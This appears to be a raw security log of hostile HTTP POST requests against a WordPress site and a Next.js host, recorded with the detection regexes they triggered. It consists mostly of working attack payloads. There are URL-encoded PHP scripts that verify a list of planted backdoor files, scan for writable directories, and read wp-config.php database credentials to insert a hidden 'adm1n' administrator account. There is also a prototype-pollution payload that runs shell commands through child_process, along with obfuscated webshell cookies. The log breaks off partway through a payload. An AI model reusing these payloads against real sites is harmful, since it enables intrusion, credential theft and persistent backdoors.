HTTP\/1.1\ncookie:4=17267dbb927e97128879218d3d0962ca; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHRDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:10561\ncontent-type:application\/x-www-form-urlencoded\naccept-encoding:gzip,deflate\n\nPD=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-includes\/Text\/Diff\/Engine\/changegroupperm.php%22%3D%3E%22bd%40%40257153933%40%40959%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Net\/CYEC07_3winners.php%22%3D%3E%22bd%40%40279256584%40%40722%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40261522712%40%401816%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-18 19:44:42","210.217.42.139","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\ndnt:1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:47.254.126.238\naccept-language:zh-CN,zh;q=0.9,en;q=0.8\nconnection:keep-alive\naccept:text\/x-component\naccept-encoding:gzip, deflate, br\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundary19dd175d01482604\ncache-control:no-cache\ncontent-length:690\nnext-action:x\n\n------WebKitFormBoundary19dd175d01482604\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundary19dd175d01482604\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundary19dd175d01482604\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------WebKitFormBoundary19dd175d01482604--"]
["2026-04-18 21:36:53","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Ev:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\ncontent-length:3339\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-fetch-site:none\n\nEv=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-04-18 23:30:32","164.92.70.40","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko\/20100101 Firefox\/121.0","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko\/20100101 Firefox\/121.0\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundary1f6bc571f2e87d89\ncontent-length:690\nhost:47.254.126.238\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/x-component\naccept-encoding:gzip, deflate, br\nnext-action:x\ncache-control:no-cache\ndnt:1\n\n------WebKitFormBoundary1f6bc571f2e87d89\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundary1f6bc571f2e87d89\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundary1f6bc571f2e87d89\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------WebKitFormBoundary1f6bc571f2e87d89--"]
["2026-04-18 23:34:31","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ho:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%